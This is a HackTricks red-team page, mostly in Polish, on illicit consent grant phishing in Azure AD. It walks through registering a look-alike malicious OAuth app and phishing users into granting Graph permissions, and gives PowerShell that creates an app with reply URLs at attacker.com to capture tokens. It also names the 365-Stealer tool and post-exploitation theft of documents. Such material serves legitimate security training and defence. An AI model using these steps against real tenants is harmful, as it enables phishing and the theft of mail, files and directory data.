Az - Illicit Consent Grant

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

OAuth App Phishing

Aplikacje Azure proszą o uprawnienia do uzyskania dostępu do danych użytkownika (podstawowe informacje, ale także dostęp do dokumentów, wysyłanie e-maili...). Jeśli dozwolone, zwykły użytkownik może udzielić zgody tylko na "niskie ryzyko" uprawnienia. W wszystkich innych przypadkach wymagana jest zgoda administratora. GA, ApplicationAdministrator, CloudApplication Administrator oraz niestandardowa rola obejmująca uprawnienia do udzielania zgody aplikacjom mogą zapewnić zgodę na poziomie całego dzierżawcy.

Tylko uprawnienia, które nie wymagają zgody administratora, są klasyfikowane jako niskie ryzyko. Są to uprawnienia wymagane do podstawowego logowania, takie jak openid, profil, e-mail, User.Read i offline_access. Jeśli organizacja zezwala na zgodę użytkowników dla wszystkich aplikacji, pracownik może udzielić zgody aplikacji na odczytanie powyższych informacji z ich profilu.

Dlatego atakujący mógłby przygotować złośliwą aplikację i za pomocą phishingu sprawić, że użytkownik zaakceptuje aplikację i ukradnie jego dane.

2 Typy ataków na nielegalne udzielenie zgody

Nieautoryzowane: Z zewnętrznego konta utwórz aplikację z uprawnieniami User.Read i User.ReadBasic.All, na przykład, phishinguj użytkownika, a będziesz mógł uzyskać dostęp do informacji w katalogu.
To wymaga, aby phishingowany użytkownik mógł akceptować aplikacje OAuth z zewnętrznych środowisk!
Autoryzowane: Po skompromitowaniu głównego konta z wystarczającymi uprawnieniami, utwórz aplikację wewnątrz konta i phishinguj niektórego uprzywilejowanego użytkownika, który może zaakceptować uprzywilejowane uprawnienia OAuth.
W tym przypadku możesz już uzyskać dostęp do informacji w katalogu, więc uprawnienie User.ReadBasic.All nie jest już interesujące.
Prawdopodobnie interesują cię uprawnienia, które wymagają zgody administratora, ponieważ zwykły użytkownik nie może przyznać aplikacjom OAuth żadnych uprawnień, dlatego musisz phishingować tylko tych użytkowników (więcej na temat ról/uprawnień, które przyznają to uprawnienie później).

Sprawdź, czy użytkownicy mogą udzielać zgody

Poniższe polecenie PowerShell jest używane do sprawdzenia konfiguracji zgody dla użytkowników w Azure Active Directory (Azure AD) dotyczącej ich zdolności do udzielania zgody na aplikacje:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

Wyłącz zgodę użytkownika: To ustawienie zabrania użytkownikom przyznawania uprawnień aplikacjom. Nie jest dozwolona zgoda użytkownika na aplikacje.
Użytkownicy mogą wyrażać zgodę na aplikacje od zweryfikowanych wydawców lub twojej organizacji, ale tylko na wybrane przez ciebie uprawnienia: To ustawienie pozwala wszystkim użytkownikom na wyrażenie zgody tylko na aplikacje opublikowane przez zweryfikowanego wydawcę oraz aplikacje zarejestrowane w twoim własnym dzierżawcy. Dodaje to warstwę kontroli, pozwalając na zgodę tylko na konkretne uprawnienia.
Użytkownicy mogą wyrażać zgodę na wszystkie aplikacje: To ustawienie jest bardziej liberalne i pozwala wszystkim użytkownikom na wyrażenie zgody na dowolne uprawnienia dla aplikacji, o ile te uprawnienia nie wymagają zgody administracyjnej.
Własna polityka zgody na aplikacje: To ustawienie wskazuje, że obowiązuje własna polityka, która może być dostosowana do specyficznych wymagań organizacyjnych i może obejmować kombinację ograniczeń opartych na wydawcy aplikacji, uprawnieniach, o które prosi aplikacja, oraz innych czynnikach.

W ataku typu illicit consent grant, napastnicy oszukują użytkowników końcowych, aby przyznali uprawnienia złośliwej aplikacji zarejestrowanej w Azure. Dzieje się to poprzez sprawienie, że aplikacja wydaje się wiarygodna, co prowadzi ofiary do nieświadomego kliknięcia przycisku "Akceptuj". W rezultacie Azure AD wydaje token na stronę napastnika, co pozwala im uzyskać dostęp do danych ofiary i nimi manipulować, takich jak czytanie lub wysyłanie e-maili oraz uzyskiwanie dostępu do plików, bez potrzeby posiadania konta organizacyjnego.

Przegląd Przebiegu Ataku

Atak obejmuje kilka kroków, które celują w ogólną firmę. Oto jak może się to rozwinąć:

Rejestracja domeny i hosting aplikacji: Napastnik rejestruje domenę przypominającą zaufaną stronę, na przykład "safedomainlogin.com". Pod tą domeną tworzona jest subdomena (np. "companyname.safedomainlogin.com"), aby hostować aplikację zaprojektowaną do przechwytywania kodów autoryzacyjnych i żądania tokenów dostępu.
Rejestracja aplikacji w Azure AD: Napastnik następnie rejestruje aplikację wielodostępną w swoim dzierżawcy Azure AD, nazywając ją na cześć docelowej firmy, aby wydawała się wiarygodna. Konfiguruje URL przekierowania aplikacji, aby wskazywał na subdomenę hostującą złośliwą aplikację.
Ustawienie uprawnień: Napastnik ustawia aplikację z różnymi uprawnieniami API (np. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Te uprawnienia, po przyznaniu przez użytkownika, pozwalają napastnikowi na wydobycie wrażliwych informacji w imieniu użytkownika.
Dystrybucja złośliwych linków: Napastnik tworzy link zawierający identyfikator klienta złośliwej aplikacji i dzieli się nim z docelowymi użytkownikami, oszukując ich, aby przyznali zgodę.

Wykorzystanie Narzędzi do Ataku

Atak można ułatwić za pomocą narzędzi takich jak 365-Stealer.

Przygotowanie przed atakiem:

Jeśli napastnik ma pewien poziom dostępu do użytkownika w organizacji ofiary, może sprawdzić, czy polityka organizacji pozwala użytkownikowi na akceptację aplikacji:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Aby przeprowadzić atak, atakujący musiałby stworzyć nową aplikację w swoim dzierżawcy Azure (w rejestracjach aplikacji), skonfigurowaną z uprawnieniami:

User.ReadBasic.All znajduje się w Microsoft Graph w Delegated permissions. (Uprawnienia aplikacji zawsze będą wymagały dodatkowej zgody).

User.ReadBasic.All to uprawnienie, które pozwoli ci czytać informacje o wszystkich użytkownikach w organizacji, jeśli zostanie przyznane.
Pamiętaj, że tylko GA, ApplicationAdministrator, CloudApplication Administrator oraz niestandardowa rola zawierająca uprawnienie do przyznawania uprawnień aplikacjom mogą udzielić zgody na poziomie dzierżawcy. Dlatego powinieneś phishować użytkownika z jedną z tych ról, jeśli chcesz, aby zatwierdził aplikację, która wymaga zgody administratora.

Możesz również stworzyć aplikację za pomocą cli z:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Sprawdź https://www.alteredsecurity.com/post/introduction-to-365-stealer, aby dowiedzieć się, jak to skonfigurować.

Zauważ, że uzyskany token dostępu będzie dla punktu końcowego grafu z zakresami: User.Read i User.ReadBasic.All (żądane uprawnienia). Nie będziesz mógł wykonać innych działań (ale te są wystarczające, aby pobierać informacje o wszystkich użytkownikach w organizacji).

O365-Attack-Toolkit

Możesz również użyć tego narzędzia do przeprowadzenia tego ataku.

Post-Exploitation

Gdy uzyskasz dostęp do użytkownika, możesz robić rzeczy takie jak kradzież wrażliwych dokumentów, a nawet przesyłanie zainfekowanych plików dokumentów.